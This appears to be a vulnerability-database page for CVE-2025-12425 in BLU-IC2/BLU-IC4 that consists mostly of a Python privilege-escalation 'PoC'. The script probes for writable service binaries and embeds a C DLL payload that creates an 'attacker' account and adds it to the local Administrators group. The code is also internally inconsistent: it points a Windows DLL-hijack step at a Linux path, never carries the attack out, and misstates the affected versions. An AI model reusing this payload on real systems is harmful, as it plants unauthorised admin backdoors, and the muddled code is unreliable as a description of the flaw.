cpe:2.3:h:azure-access:blu-ic4:*:*:*:*:*:*:*:* - NOT VULNERABLE
BLU-IC2 < 1.19.5
BLU-IC4 < 1.19.5
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12425 Local Privilege Escalation PoC for BLU-IC2/BLU-IC4
# This PoC demonstrates the privilege escalation vulnerability
import os
import subprocess
import sys
def check_vulnerability():
"""Check if the system is vulnerable to CVE-2025-12425"""
print("[*] Checking for CVE-2025-12425 vulnerability...")
print("[*] Target: BLU-IC2/BLU-IC4 through version 1.19.5")
# Check current user privileges
current_user = os.getenv('USERNAME') or os.getenv('USER')
print(f"[*] Current user: {current_user}")
# Check for vulnerable service or file permissions
vulnerable_paths = [
'/opt/blu-ic2/bin/service',
'/opt/blu-ic4/bin/service',
'C:\\Program Files\\BLU-IC2\\service.exe',
'C:\\Program Files\\BLU-IC4\\service.exe'
]
for path in vulnerable_paths:
if os.path.exists(path):
print(f"[+] Found vulnerable service at: {path}")
# Check file permissions
try:
# Attempt to modify service binary
if os.access(path, os.W_OK):
print(f"[!] VULNERABLE: {path} is writable by current user")
return True
except:
pass
print("[-] No obvious vulnerability indicators found")
return False
def exploit_privilege_escalation():
"""Attempt to exploit CVE-2025-12425 for privilege escalation"""
print("[*] Attempting privilege escalation...")
# This is a conceptual exploit - actual implementation requires
# specific analysis of the vulnerable service
# Step 1: Identify vulnerable service
service_path = '/opt/blu-ic2/bin/service' # Example path
# Step 2: Create malicious DLL for DLL hijacking
malicious_dll = """
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Execute payload with SYSTEM privileges
system("cmd.exe /c net user attacker P@ssw0rd! /add");
system("cmd.exe /c net localgroup Administrators attacker /add");
}
return TRUE;
}
"""
# Step 3: Replace legitimate DLL or binary
print("[*] Note: Actual exploitation requires placing malicious payload")
print("[*] in a location where the vulnerable service will load it")
print("[*] This typically requires write access to system directories")
return False
if __name__ == "__main__":
print("="*60)
print("CVE-2025-12425 Privilege Escalation Checker")
print("="*60)
if check_vulnerability():
print("[+] System appears to be vulnerable")
print("[!] This is a PoC for educational purposes only")
else:
print("[-] System may not be vulnerable or target not found")